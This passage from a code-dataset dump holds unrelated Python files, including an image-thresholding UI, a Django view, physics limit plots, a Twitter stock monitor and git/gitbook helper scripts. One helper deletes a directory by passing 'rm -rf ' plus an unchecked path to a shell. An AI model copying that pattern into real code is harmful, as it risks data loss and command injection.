img)\n\n def process_video(self):\n test_image = self.input_image\n\n sobel_kernel = self.sobel_kernel.value\n sobel_x_thresh_min = self.sobel_x_thresh_min.value\n sobel_x_thresh_max = self.sobel_x_thresh_max.value\n sobel_y_thresh_min = self.sobel_y_thresh_min.value\n sobel_y_thresh_max = self.sobel_y_thresh_max.value\n\n mag_kernel = self.mag_kernel.value\n mag_thresh_min = self.mag_thresh_min.value\n mag_thresh_max = self.mag_thresh_max.value\n dir_kernel = self.dir_kernel.value\n dir_thresh_min = self.dir_thresh_min.value / 10\n dir_thresh_max = self.dir_thresh_max.value / 10\n sat_thresh_min = self.sat_thresh_min.value\n sat_thresh_max = self.sat_thresh_max.value\n\n # gradient_threshold = threshold_image(test_image, ksize=sobel_kernel,\n # gradx_thresh=(sobel_x_thresh_min, sobel_x_thresh_max),\n # grady_thresh=(sobel_y_thresh_min, sobel_y_thresh_max),\n # magnitude_thresh=(mag_thresh_min, mag_thresh_max),\n # dir_thresh=(dir_thresh_min, dir_thresh_max))\n\n ksize = sobel_kernel\n\n # Apply each of the thresholding functions\n gradx = abs_sobel_thresh(test_image, orient='x', sobel_kernel=ksize, thresh=(sobel_x_thresh_min, sobel_x_thresh_max))\n grady = abs_sobel_thresh(test_image, orient='y', sobel_kernel=ksize, thresh=(sobel_y_thresh_min, sobel_y_thresh_max))\n mag_binary = mag_thresh(test_image, sobel_kernel=ksize, thresh=(mag_thresh_min, mag_thresh_max))\n dir_binary = dir_threshold(test_image, sobel_kernel=ksize, thresh=(dir_thresh_min, dir_thresh_max))\n\n gradient_threshold = np.zeros_like(dir_binary)\n # gradient_threshold[(gradx == 1)] = 1\n gradient_threshold[((gradx == 1) & (grady == 1)) | ((dir_binary == 1) & (mag_binary == 1))] = 1\n\n image_hsl = cv2.cvtColor(test_image, cv2.COLOR_RGB2HLS)\n s_channel = image_hsl[:, :, 2]\n color_threshold = np.zeros_like(s_channel)\n color_threshold[(s_channel >= sat_thresh_min) & (s_channel <= sat_thresh_max)] = 1\n\n color_threshold = create_binary_image(test_image)\n binary = np.zeros_like(gradient_threshold)\n binary[(color_threshold == 1) | (gradient_threshold == 1)] = 1\n\n # binary = np.zeros_like(gradient_threshold)\n # binary[(color_threshold == 1) | (gradient_threshold == 1)] = 1\n # binary[(gradient_threshold == 1)] = 1\n\n self._write_image(binary)\n\n self._binary = cv2.imread('out.jpg', 0)\n\n print('Created image')\n\n self._image.value = self._binary\n self._image.repaint()\n\n def __runEvent(self):\n \"\"\"\n After setting the best parameters run the full algorithm\n \"\"\"\n sobel_kernel = self.sobel_kernel.value\n sobel_x_thresh_min = self.sobel_x_thresh_min.value\n sobel_x_thresh_max = self.sobel_x_thresh_max.value\n sobel_y_thresh_min = self.sobel_y_thresh_min.value\n sobel_y_thresh_max = self.sobel_y_thresh_max.value\n\n mag_kernel = self.mag_kernel.value\n mag_thresh_min = self.mag_thresh_min.value\n mag_thresh_max = self.mag_thresh_max.value\n dir_kernel = self.dir_kernel.value\n dir_thresh_min = self.dir_thresh_min.value / 10\n dir_thresh_max = self.dir_thresh_max.value / 10\n sat_thresh_min = self.sat_thresh_min.value\n sat_thresh_max = self.sat_thresh_max.value\n\n values = self._params_values\n values['adjusted'] = {\n \"sobel_kernel\": sobel_kernel,\n \"mag_kernel\": mag_kernel,\n \"dir_kernel\": dir_kernel,\n \"sobel_x_thresh_min\": sobel_x_thresh_min,\n \"sobel_x_thresh_max\": sobel_x_thresh_max,\n \"sobel_y_thresh_min\": sobel_y_thresh_min,\n \"sobel_y_thresh_max\": sobel_y_thresh_max,\n \"mag_thresh_min\": mag_thresh_min,\n \"mag_thresh_max\": mag_thresh_max,\n \"dir_thresh_min\": dir_thresh_min,\n \"dir_thresh_max\": dir_thresh_max,\n \"sat_thresh_min\": sat_thresh_min,\n \"sat_thresh_max\": sat_thresh_max\n }\n\n with open('parameters.json', 'w') as f:\n json.dump(values, f)\n\n self._params_values = values\n\n if self._binary is not None:\n cv2.imwrite('binary.jpg', self._binary)\n\n\nif __name__ == \"__main__\":\t pyforms.start_app(ThresholdingParameter)","sub_path":"ui.py","file_name":"ui.py","file_ext":"py","file_size_in_byte":11637,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"436510726","text":"from django.http import HttpResponseRedirect\nfrom django.shortcuts import render\nfrom .functions import send_message,view_message,check_active_livechat\n\nfrom django.core.exceptions import PermissionDenied\nfrom django.contrib import messages\nimport pytchat \n\ndef enter_url(request):\n if request.user.is_authenticated:\n return render(request, \"enter_url.html\")\n else:\n raise PermissionDenied()\n\ndef retrieveURL(request):\n if request.user.is_authenticated:\n title = \"\"\n context = {}\n if request.method == \"POST\":\n title = str(request.POST.get('URL'))\n if title == '':\n messages.warning(request, 'Please enter url !')\n return render(request, 'enter_url.html')\n print(title)\n print(isinstance(title, str))\n livechatstatus = check_active_livechat(title,request)\n videoDetails = {'title':title}\n context = {'title':title,'livechatstatus':livechatstatus}\n return render(request, \"viewsend.html\", context)\n else:\n raise PermissionDenied()\n \n","sub_path":"final_proto/final_proto_app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1108,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"413727249","text":"#!/usr/bin/env python\nimport argparse as ap\nimport networkx as nx\nimport matplotlib.pyplot as plt\n\nparser = ap.ArgumentParser()\nparser.add_argument('-i', '--input', type=str)\nparser.add_argument('-o', '--output', type=str)\nparser.add_argument('--solid-dash', action='store_true')\nargs = parser.parse_args()\n\nG = nx.read_edgelist(args.input)\npos = nx.spring_layout(G)\nnx.draw_networkx_nodes(G, pos, G.nodes(), node_color='royalblue')\nif args.solid_dash:\n tree_edge = [\n (v, str(min(map(int, G.neighbors(v)))))\n for v in G.nodes_iter() if v > 1\n ]\n cycle_edge = list(set(G.edges()).difference(set(tree_edge)))\n nx.draw_networkx_edges(G, pos, tree_edge, style='solid')\n nx.draw_networkx_edges(G, pos, cycle_edge, style='dashed')\nelse:\n nx.draw_networkx_edges(G, pos, G.edges(), style='solid')\nnx.draw_networkx_labels(G, pos, dict(zip(G.nodes(), G.nodes())))\nplt.axis('off')\nplt.savefig(args.output, bbox_inches='tight')\n\n","sub_path":"docs/res/graph/elist2svg.py","file_name":"elist2svg.py","file_ext":"py","file_size_in_byte":950,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"17739412","text":"#!/usr/bin/env python\n\nimport sys, os, subprocess, string, re\nfrom ROOT import *\nfrom array import array\n\n\ngROOT.SetBatch(kTRUE);\ngStyle.SetOptStat(0)\ngStyle.SetOptTitle(0)\ngStyle.SetTitleFont(42, \"XYZ\")\ngStyle.SetTitleSize(0.06, \"XYZ\")\ngStyle.SetLabelFont(42, \"XYZ\")\ngStyle.SetLabelSize(0.05, \"XYZ\")\ngStyle.SetCanvasBorderMode(0)\ngStyle.SetFrameBorderMode(0)\ngStyle.SetCanvasColor(kWhite)\ngStyle.SetPadTickX(1)\ngStyle.SetPadTickY(1)\ngStyle.SetPadLeftMargin(0.15)\ngStyle.SetPadRightMargin(0.05)\ngStyle.SetPadTopMargin(0.05)\ngStyle.SetPadBottomMargin(0.15)\ngROOT.ForceStyle()\n\nmasses = array('d')\nxs_obs_limits = array('d')\nxs_exp_limits = array('d')\nmasses_exp = array('d')\nxs_exp_limits_1sigma = array('d')\nxs_exp_limits_1sigma_up = array('d')\nxs_exp_limits_2sigma = array('d')\nxs_exp_limits_2sigma_up = array('d')\n\nmass_start = 300\nmass_step = 100\nsteps = 7\n\nplot_exp = True\n\n########################################################\n## Uncomment this part if running the limit code\n\n\n#### for running the limit code\n##for i in range(0,steps+1):\n\n ##mass = mass_start + float(i)*mass_step\n\n ##masses.append(mass)\n ##masses_exp.append(mass)\n\n ##cmd = \"./stats \" + str(mass)\n ##print \"Running: \" + cmd\n ##proc = subprocess.Popen( cmd, shell=True, stdout = subprocess.PIPE, stderr = subprocess.STDOUT )\n ##output = proc.communicate()[0]\n ##if proc.returncode != 0:\n ##print output\n ##sys.exit(1)\n ###print output\n\n ##outputlines = output.split(\"\\n\")\n\n ##for line in outputlines:\n ##if re.search(\"observed bound =\", line):\n ##xs_obs_limits.append(float(line.split()[6]))\n ##if plot_exp:\n ##if re.search(\"median:\", line):\n ##xs_exp_limits.append(float(line.split()[1]))\n ##if re.search(\"1 sigma band:\", line):\n ##xs_exp_limits_1sigma.append(float(line.split()[4]))\n ##xs_exp_limits_1sigma_up.append(float(line.split()[6]))\n ##if re.search(\"2 sigma band:\", line):\n ##xs_exp_limits_2sigma.append(float(line.split()[4]))\n ##xs_exp_limits_2sigma_up.append(float(line.split()[6]))\n\n### for reading the limit code log files\n#for i in range(0,steps+1):\n\n #mass = mass_start + i*mass_step\n\n #masses.append(float(mass))\n #masses_exp.append(float(mass))\n\n #log_dir = ('logs_obs_exp' if plot_exp else 'logs_obs')\n\n #log_file = open(log_dir + \"/stats_\" + str(int(mass)) + \".log\",'r')\n #outputlines = log_file.readlines()\n #log_file.close()\n\n #for line in outputlines:\n #if re.search(\"observed bound =\", line):\n #xs_obs_limits.append(float(line.split()[6]))\n #if plot_exp:\n #if re.search(\"median:\", line):\n #xs_exp_limits.append(float(line.split()[1]))\n #if re.search(\"1 sigma band:\", line):\n #xs_exp_limits_1sigma.append(float(line.split()[4]))\n #xs_exp_limits_1sigma_up.append(float(line.split()[6]))\n #if re.search(\"2 sigma band:\", line):\n #xs_exp_limits_2sigma.append(float(line.split()[4]))\n #xs_exp_limits_2sigma_up.append(float(line.split()[6]))\n\n#if plot_exp:\n #for i in range(0,len(masses)):\n #masses_exp.append( masses[len(masses)-i-1] )\n #xs_exp_limits_1sigma.append( xs_exp_limits_1sigma_up[len(masses)-i-1] )\n #xs_exp_limits_2sigma.append( xs_exp_limits_2sigma_up[len(masses)-i-1] )\n\n\n#print \"masses:\"\n#print masses\n#print \"xs_obs_limits:\"\n#print xs_obs_limits\n#print \"xs_exp_limits:\"\n#print xs_exp_limits\n#print \"\"\n#print \"masses_exp:\"\n#print masses_exp\n#print \"xs_exp_limits_1sigma:\"\n#print xs_exp_limits_1sigma\n#print \"xs_exp_limits_2sigma:\"\n#print xs_exp_limits_2sigma\n\n##\n########################################################\n\n########################################################\n## Comment out this part if running the limit code\n\nif plot_exp:\n masses = array('d', [300.0, 400.0, 500.0, 600.0, 700.0, 800.0, 900.0, 1000.0])\n xs_obs_limits = array('d', [39.3249, 1.3241799999999999, 0.70614600000000005, 4.4668999999999999, 1.87497, 1.04667, 0.37109500000000001, 0.092092099999999996])\n xs_exp_limits = array('d', [7.3874500000000003, 4.16594, 2.5205000000000002, 1.7962, 1.17222, 0.84475299999999998, 0.65692600000000001, 0.42596200000000001])\nelse:\n masses = array('d', [300.0, 400.0, 500.0, 600.0, 700.0, 800.0, 900.0, 1000.0])\n xs_obs_limits = array('d', [39.380800000000001, 1.2964599999999999, 0.68032400000000004, 4.4672000000000001, 1.86924, 1.05078, 0.35594799999999999, 0.088954400000000003])\n\nmasses_exp = array('d', [300.0, 400.0, 500.0, 600.0, 700.0, 800.0, 900.0, 1000.0, 1000.0, 900.0, 800.0, 700.0, 600.0, 500.0, 400.0, 300.0])\nxs_exp_limits_1sigma = array('d', [3.17753, 1.50461, 1.032, 0.81818000000000002, 0.547682, 0.43849399999999999, 0.33072000000000001, 0.24565100000000001, 0.84676700000000005, 1.3159799999999999, 1.6796899999999999, 2.65605, 3.7145700000000001, 6.5505100000000001, 13.477499999999999, 18.206700000000001])\nxs_exp_limits_2sigma = array('d', [2.00014, 0.81118199999999996, 0.58127700000000004, 0.49383100000000002, 0.28355999999999998, 0.25376500000000002, 0.19730700000000001, 0.133491, 1.5154399999999999, 1.93604, 2.3307500000000001, 4.5853200000000003, 6.2245100000000004, 9.7461699999999993, 20.569600000000001, 35.542400000000001])\n\n##\n########################################################\n\nif plot_exp:\n graph_exp_2sigma = TGraph(len(masses_exp),masses_exp,xs_exp_limits_2sigma)\n graph_exp_2sigma.SetFillColor(kYellow)\n graph_exp_2sigma.GetXaxis().SetTitle(\"Resonance Mass [GeV]\")\n graph_exp_2sigma.GetYaxis().SetTitle(\"#sigma#timesBR(X#rightarrowjj)#timesA [pb]\")\n graph_exp_2sigma.GetYaxis().SetRangeUser(1e-02,1e+03)\n graph_exp_2sigma.GetXaxis().SetNdivisions(1005)\n\n graph_exp_1sigma = TGraph(len(masses_exp),masses_exp,xs_exp_limits_1sigma)\n graph_exp_1sigma.SetFillColor(kGreen+1)\n\n graph_exp = TGraph(len(masses),masses,xs_exp_limits)\n #graph_exp.SetMarkerStyle(24)\n graph_exp.SetLineWidth(2)\n graph_exp.SetLineStyle(2)\n graph_exp.SetLineColor(4)\n\ngraph_obs = TGraph(len(masses),masses,xs_obs_limits)\ngraph_obs.SetMarkerStyle(20)\ngraph_obs.SetLineWidth(2)\n#graph_obs.SetLineStyle(1)\ngraph_obs.SetLineColor(1)\ngraph_obs.GetXaxis().SetTitle(\"Resonance Mass [GeV]\")\ngraph_obs.GetYaxis().SetTitle(\"#sigma#timesBR(X#rightarrowjj)#timesA [pb]\")\ngraph_obs.GetYaxis().SetRangeUser(1e-02,1e+03)\ngraph_obs.GetXaxis().SetNdivisions(1005)\n\n\nc = TCanvas(\"c\", \"\",800,800)\nc.cd()\n\nif plot_exp:\n graph_exp_2sigma.Draw(\"AF\")\n graph_exp_1sigma.Draw(\"F\")\n graph_exp.Draw(\"L\")\n graph_obs.Draw(\"LP\")\nelse:\n graph_obs.Draw(\"ALP\")\n\nlegend = TLegend(.50,.63,.80,.76)\nlegend.SetBorderSize(0)\nlegend.SetFillColor(0)\nlegend.SetFillStyle(0)\nlegend.SetTextFont(42)\nlegend.SetTextSize(0.03)\nlegend.SetHeader('95% CL Upper Limits (stat. only)')\nlegend.AddEntry(graph_obs,\"Observed\",\"lp\")\nif plot_exp:\n legend.AddEntry(graph_exp,\"Expected\",\"lp\")\nlegend.Draw()\n\nl1 = TLatex()\nl1.SetTextAlign(12)\nl1.SetTextFont(42)\nl1.SetNDC()\nl1.SetTextSize(0.04)\nl1.SetTextSize(0.04)\nl1.DrawLatex(0.18,0.40, \"CMS Preliminary\")\nl1.DrawLatex(0.18,0.32, \"#intLdt = 19 fb^{-1}\")\nl1.DrawLatex(0.19,0.27, \"#sqrt{s} = 8 TeV\")\n\n\ngPad.RedrawAxis();\n\nc.SetLogy()\nif plot_exp:\n c.SaveAs('xs_limit_obs_exp_DijetScouting_Run1_8TeV.eps')\nelse:\n c.SaveAs('xs_limit_obs_DijetScouting_Run1_8TeV.eps')\n","sub_path":"plots/xs_limit_DijetScouting_Run1_8TeV.py","file_name":"xs_limit_DijetScouting_Run1_8TeV.py","file_ext":"py","file_size_in_byte":7185,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"382754805","text":"import math\nimport time\nfrom datetime import datetime, timedelta\n# from os import path as Path\nfrom pathlib import Path\nfrom data.loader import FileManager\nimport pandas as pd\nimport plotly.graph_objs as go\nimport plotly.io as pio\nfrom plotly import subplots\nimport modules.timeutils as timeutils\nimport modules.utils as utils\nfrom config import config, root_path\nfrom modules.our_tweepy import OurTweepy\n\n\nclass TwitterMonitor(OurTweepy):\n\n def __init__(self, stocks_list, continue_same_day=False, init_tweets_num=5, verbose=False):\n super().__init__(verbose=verbose)\n self.stocks_list = stocks_list\n self.tweets_data = dict.fromkeys(self.stocks_list)\n self.stats_df = pd.DataFrame(columns=(self.stocks_list.append('date_time')))\n self.tweets_path = root_path / Path(config['databases']['tweets']['stocks'])\n self.logs_path = root_path / Path(config['logs']['monitor']['stats'])\n self.update_interval = math.ceil((60 * config['tweepy']['limitations']['interval'] / (\n config['tweepy']['limitations']['max_requests_per_interval'] / len(stocks_list))) * 1.1)\n self.last_time_saved = datetime.now()\n self.init_tweets_num = init_tweets_num\n self.continue_same_day = continue_same_day\n self.filemanager = FileManager(database_folder=self.tweets_path, verbose=True)\n self.init_data()\n\n def init_data(self):\n print(\"Initializing TwitterMonitor():\")\n for stock, fetched_tweets in self.tweets_data.items():\n if self.continue_same_day:\n today = utils.day_format(datetime.now())\n self.tweets_data[stock] = self.filemanager.load(stock=stock, dates=today)\n else:\n search_query = str(\"$\" + stock)\n self.tweets_data[stock], _ = self.fetch(query=search_query, n=self.init_tweets_num)\n\n def fetch(self, query, n=100, since_id=None):\n print(\"\\tSearching for new tweets with \" + query + \" cashtag...\")\n if not since_id:\n latest_tweet, len = self.get_n_last_tweets(query=query, n=n, df=True)\n else:\n latest_tweet, len = self.get_n_last_tweets(query=query, n=n, since_id=since_id, df=True)\n print(\"\\t\\tAdded {} new tweets.\".format(len))\n return latest_tweet, len\n\n def run(self, hours, save_every=60):\n init_amount_of_tweets = self.stats().sum().sum()\n end_time = datetime.now() + timedelta(seconds=(hours * 60 * 60))\n while end_time > datetime.now() + timedelta(seconds=self.update_interval):\n try:\n self.update()\n if datetime.now().hour is not self.last_time_saved.hour:\n self.save() # saves every hour\n print(\"[{}]\\nInterval between updates: {} seconds\\nExpected end time: {}\\nForce stop: Ctrl+C\".\n format(datetime.strftime(datetime.now(), format=\"%H:%M:%S\"),\n self.update_interval,\n datetime.strftime(end_time, format=\"%H:%M:%S\")))\n time.sleep(self.update_interval)\n except KeyboardInterrupt:\n print(\"run: killed by user.\")\n return\n except Exception as e:\n print(\"Error occured ({}) in the run loop - trying to sleep for 15 min to avoid API ban.\".format(e))\n time.sleep(15 * 60)\n # exit while loop\n total_tweets_pulled = self.stats().sum().sum() - init_amount_of_tweets\n print(\"[{}] Time is up. Pulled {} tweets.\".format(datetime.strftime(datetime.now(), format=\"%H:%M:%S\"),\n total_tweets_pulled))\n\n def update(self):\n # TODO Error : [{'message': 'Rate limit exceeded', 'code': 88}] handle this one.\n stocks_volume_absolute_change = dict.fromkeys(self.stocks_list)\n for stock, fetched_tweets in self.tweets_data.items():\n try:\n last_fetched_tweet_id = fetched_tweets['id'].iloc[0]\n search_query = str(\"$\" + stock)\n new_tweets_df, n_tweets = self.fetch(query=search_query,\n since_id=last_fetched_tweet_id) # fetch all tweets since the last fetched tweet (max limit is 100)\n\n if n_tweets > 0 and new_tweets_df is not None:\n self.tweets_data[stock] = pd.concat([fetched_tweets, new_tweets_df], sort=False). \\\n sort_values(by=['id'], ascending=False)\n stocks_volume_absolute_change[stock] = n_tweets\n except:\n print(\"Something went wrong fetching {} new tweets.\".format(stock))\n continue\n self.__update_stats(stocks_volume_absolute_change)\n\n def show(self):\n for stock, fetched_tweets in self.tweets_data.items():\n print(stock)\n for index, row in fetched_tweets.iterrows():\n print(\"\\t\", end=\"\")\n self.__print_tweet(row)\n print(\"Total tweets: {}\".format(len(fetched_tweets.index)))\n print()\n\n def data(self):\n return self.tweets_data\n\n def stats(self):\n if self.stats_df.empty:\n return self.stats_df\n return self.stats_df\n # return self.stats_df.set_index(pd.DatetimeIndex(self.stats_df.date_time))#.drop('date_time')\n\n def plot_stats(self):\n pio.renderers.default = \"browser\" # for default plot in browser\n df = self.stats()\n how_many_plots = len(df.columns)\n rows = int(math.ceil(how_many_plots / 3))\n cols = 3\n fig = subplots.make_subplots(rows=rows, cols=cols, subplot_titles=df.columns,\n shared_xaxes=True, vertical_spacing=0.01)\n j = 0\n for i in df.columns:\n row = j % rows + 1\n col = j % cols + 1\n fig.add_trace(\n go.Scatter(\n {'x': df.index,\n 'y': df[i]}),\n row=row, col=col)\n j += 1\n fig.update_layout(title=\"Twitter Monitor\", title_x=0.5, showlegend=False)\n fig.show()\n\n def save(self, force_all=False):\n self.save_stats(force_all=force_all)\n self.save_tweets(force_all=force_all)\n self.last_time_saved = datetime.now()\n\n def save_stats(self, force_all=False):\n df = self.stats()\n if not force_all:\n df = df[df.index > self.last_time_saved] # save only the stats created from the last time saved.\n if df.empty: return # if no new stats, skip.\n count = len(df.index)\n first_time = df.index[0]\n last_time = df.index[count - 1]\n file_name = 'on_' + datetime.strftime(first_time, '%Y-%m-%d') + '_from_' + \\\n datetime.strftime(first_time, '%H-%M-%S') + '_to_' + \\\n datetime.strftime(last_time, '%H-%M-%S') + '.csv'\n df.to_csv(str( self.logs_path / file_name))\n print(\"saved to file: \" + str( self.logs_path / file_name))\n\n def save_tweets(self, force_all=False):\n self.filemanager.save(data=self.tweets_data, dates=[timeutils.now()])\n # for stock, fetched_tweets in self.tweets_data.items():\n # full_folder_path = self.tweets_path / stock\n # utils.create_dir_if_not_exist(str(full_folder_path))\n # if not force_all:\n # last_fetched_tweets = fetched_tweets[fetched_tweets['fetched_at'] > self.last_time_saved]\n # else:\n # last_fetched_tweets = fetched_tweets\n # if last_fetched_tweets.empty: continue # if no tweets, skip.\n #\n # count = len(last_fetched_tweets.index)\n # last_time = last_fetched_tweets['date_time'].iloc[0]\n # first_time = last_fetched_tweets['date_time'].iloc[count - 1]\n # file_name = 'on_' + datetime.strftime(first_time, '%Y-%m-%d') + '_from_' + datetime.strftime(first_time,\n # '%H-%M-%S') + '_to_' + datetime.strftime(\n # last_time, '%H-%M-%S') + '.csv'\n # last_fetched_tweets.to_csv(str(full_folder_path / file_name))\n # print(\"saved to file: \" + str(full_folder_path / file_name))\n\n def __update_stats(self, stats_dict):\n stats_dict['date_time'] = datetime.now().replace(microsecond=0)\n stats_df = pd.DataFrame([stats_dict]).fillna(0)\n stats_df.index = pd.DatetimeIndex(stats_df.date_time)\n stats_df = stats_df.drop(['date_time'], axis=1)\n self.stats_df = pd.concat([self.stats_df, stats_df], sort=False)\n\n def __print_tweet(self, tweet):\n print(\"id: {} created_at: {}\".format(tweet['id'], tweet['date_time']))\n","sub_path":"products/event_detector/twitter_monitor.py","file_name":"twitter_monitor.py","file_ext":"py","file_size_in_byte":8825,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"193073618","text":"\nfrom sklearn.metrics.pairwise import cosine_similarity\nimport editdistance\nimport numpy as np\nimport pandas as pd\n\nfrom refparse.utils.parse import structure_reference\n\ndef calc_lev_distance(s1, s2):\n\n if s1=='' or s2 =='':\n return 0\n\n return editdistance.eval(s1, s2) / max(len(s1), len(s2))\n\ndef get_levenshtein_df(df1, df2):\n \"\"\"\n Input: two equally sized dataframes\n output: a dataframe of the levenshtein distances between each element pair\n \"\"\"\n\n lev_list = [\n calc_lev_distance(a,p) for (a,p) in zip(df1.stack(), df2.stack())\n ]\n lev_dist = pd.DataFrame(\n np.reshape(lev_list, df1.shape),\n columns = df1.columns\n )\n\n return lev_dist\n\ndef evaluate_metric(\n actual_categories, predicted_categories, levenshtein_threshold):\n\n equal = actual_categories == predicted_categories\n\n accuracy_cat = equal.mean()\n accuracy = equal.values.mean()\n\n lev_dist = get_levenshtein_df(actual_categories, predicted_categories)\n\n quite_equal = lev_dist\"+name[:-3]+\"\")\n\n\ndef print_title(name,count):\n ''''''\n temp=''\n for i in range(1,count,1):\n temp = temp+' '\n temp = temp+'* '\n # 输出文件夹目录\n #print(temp,name.split('/'))\n result.append(temp+'【 '+name+' 】') \n\n\n# 递归\ndef create(name,count):\n if(os.path.isdir(name)):\n print_title(name,count)\n for fold in listfiles(name):\n if fold in dirs:\n continue\n if not os.path.isdir(name+'/'+fold):\n #print(\"不是目录--------\",fold)\n print_line(fold,count,name+'/'+fold)\n \n create(name+'/'+fold,count+1)\n else:\n return\n\n# 处理参数\nopts, args = getopt.getopt(sys.argv[1:], \"sha\")\nfor op,value in opts:\n if op == \"-s\":\n flag_show = True\n #print(\"show\")\n elif op == \"-a\":\n flag_append = True\n #print(\"append\")\n elif op == \"-h\":\n show_help()\n\n\nFolders = os.listdir('./')\nFolders.sort()\n\n# 处理根目录下的md文件\nfor fold in Folders:\n if fold.endswith('.md'):\n if fold in files:\n continue\n #print(\"md::::\"+fold)\n result.append(\"* [ \"+fold[:-3]+\" ](./\"+fold+\")\")\n # result.append(\"\"+fold[:-3]+\"\")\n\n# 得到根目录下所有文件夹,然后开始递归得到所有文件 \nfor fold in Folders:\n if(os.path.isdir(fold)):\n if(fold in dirs):\n continue\n create(fold,1)\n\n# 终端输出\nif flag_show : \n for res in result:\n print(res) \n\n# 追加到gitbook的目录文件中\nif flag_append :\n subprocess.call('mv SUMMARY.md SUMMARY.md.bak',shell=True)\n with open('SUMMARY.md','w+') as dest:\n dest.write('# Summary\\n\\n* [Introduction](README.md)\\n\\n')\n for res in result:\n dest.write(res+'\\n')\n print('重新生成目录树完成!')\n","sub_path":"create_tree.py","file_name":"create_tree.py","file_ext":"py","file_size_in_byte":3320,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"442052966","text":"#!/usr/bin/env python\n\nfrom git import *\nfrom git.exc import *\nimport subprocess\nfrom os import mkdir,chdir,path,getcwd\nimport coverage\nimport nose\nimport pkg_resources, glob\n\n\n\ndef check_local_repo(REPO_PATH, REPO_NAME):\n \"\"\"\n Check a local clone of a git tree\n \"\"\"\n repo = Repo(REPO_PATH)\n repo.config_reader()\n repo.config_writer()\n repo.remote(name=REPO_NAME).pull()\n return repo\n\n\ndef clone_repo(GIT_PATH, REPO_PATH):\n \"\"\"\n Make a local clone of a git tree\n \"\"\"\n repo = Repo.clone_from(GIT_PATH,REPO_PATH)\n return repo\n\n\ndef create_repo_dir(REPO_PATH):\n \"\"\"\n Creare repo directory\n \"\"\"\n mkdir(REPO_PATH)\n\n\ndef if_repo_exists(REPO_PATH):\n \"\"\"\n Test if local git tree exists\n \"\"\"\n try:\n repo = Repo(REPO_PATH)\n except (InvalidGitRepositoryError,NoSuchPathError):\n return False\n\n return True\n\n\ndef nose_start(LOG, REPO_PATH): #test names\n \"\"\"\n Find all python modules in REPO_PATH\n \"\"\"\n WORKING_DIR = getcwd();\n chdir(REPO_PATH)\n coverage.erase()\n coverage.start()\n nose.run()\n coverage.stop()\n LOG.info(coverage.analysis(nose))\n LOG.info(coverage.report())\n chdir(WORKING_DIR)\n\ndef remove_repo(REPO_PATH):\n \"\"\"\n Remove whole repo directory\n \"\"\"\n cmd = \"rm -rf \" + REPO_PATH\n subprocess.Popen(cmd, stdout=subprocess.PIPE, shell=True).stdout.read()\n\n\ndef update_local_repo(REPO_PATH):\n \"\"\"\n Check a local clone of a git tree\n \"\"\"\n repo = Repo(REPO_PATH)\n return repo\n","sub_path":"tr/tstgit.py","file_name":"tstgit.py","file_ext":"py","file_size_in_byte":1523,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"347431822","text":"import time\r\nimport sys\r\nfrom random import randint\r\nfrom person import *\r\n\r\ndef exist():\r\n society = []\r\n i = 0\r\n for i in range(0, gdv_stp):\r\n society += [Person(gdv_stht_mp, gdv_stht_fp, 0)]\r\n return society\r\n\r\ndef average():\r\n #a = 0 #counter for average geneation abbreviated as of 03/11/17, variable name still in use\r\n #b = 0 #counter for female to male ratio abbreviated as of 07/11/17\r\n #c = 0 #counter for average height abbreviated as of 07/11/17\r\n #d = 0 #counter for average health abbreviated as of 07/11/17\r\n global maxhte\r\n global minhte\r\n maxgen = society[1].special[0]\r\n mingen = society[1].special[0]\r\n maxhtf = 0 #max height female\r\n maxhtm = 0 #max height male\r\n minhtf = 9999 #min height female\r\n minhtm = 9999 #min height male\r\n x = len(society)\r\n f = 0 #number of females (used to determine ftm ratio, also height calculations)\r\n m = 0 #number of males (used to determine ftm ratio, also height calculations)\r\n avgn = 0 #average gen temp value\r\n avht = 0 #average height temp value\r\n avhtm = 0 #average male height temp value\r\n avhtf = 0 #average female height temp value\r\n avhl = 0 #average health temp value\r\n \r\n for a in range(0, x):\r\n avgn += society[a].special[0]\r\n avht += society[a].special[2]\r\n avhl += society[a].special[3]\r\n\r\n if(society[a].special[0] > maxgen):\r\n maxgen = society[a].special[0]\r\n if(society[a].special[0] < mingen):\r\n mingen = society[a].special[0]\r\n \r\n if(society[a].special[1] == 0):\r\n f += 1\r\n avhtf += society[a].special[2]\r\n if(society[a].special[2] < minhtf):\r\n minhtf = society[a].special[2]\r\n if(society[a].special[2] > maxhtf):\r\n maxhtf = society[a].special[2]\r\n if(society[a].special[1] == 1):\r\n m += 1\r\n avhtm += society[a].special[2]\r\n if(society[a].special[2] < minhtm):\r\n minhtm = society[a].special[2]\r\n if(society[a].special[2] > maxhtm):\r\n maxhtm = society[a].special[2]\r\n\r\n g = f + m\r\n g = f / g\r\n fr = g * 100 #female ratio\r\n mr = (1 - g) * 100 #male ratio\r\n\r\n avgn = avgn / x\r\n avhtm = avhtm / m\r\n avhtml.append(avhtm)\r\n avhtf = avhtf / f\r\n avhtfl.append(avhtf)\r\n avht = avht / x\r\n avhtl.append(avht)\r\n avhl = avhl / x\r\n\r\n if(minhte > minhtm):\r\n minhte = minhtm\r\n elif(minhte > minhtf):\r\n minhte = minhtf\r\n elif(maxhte < maxhtm):\r\n maxhte = maxhtm\r\n elif(maxhte < maxhtf):\r\n maxhte = maxhtf\r\n\r\n if(len(sys.argv) >= 1 and not \"noaverage\" in sys.argv):\r\n print(\"gen min/avg/max:\", mingen, \"/\", round(avgn), \"/\", maxgen, \" | height:\", round(avht), \" | health:\", round(avhl), \" | Population ever:\", Person.all_ever(), \" | currently:\", m + f, \" | f:m ratio: \", round(fr, 2), \":\", round(mr, 2), sep='' ) \r\n if(len(sys.argv) > 1 and \"htdt\" in sys.argv):\r\n print(\"male height min/max/avg:\", round(minhtm), round(maxhtm), round(avhtm), \"female height min/max/avg:\", round(minhtf), round(maxhtf), round(avhtf), \"overall average:\", round(avht), \"highest ever:\", round(maxhte), \"smallest ever:\", round(minhte))\r\n \r\ndef 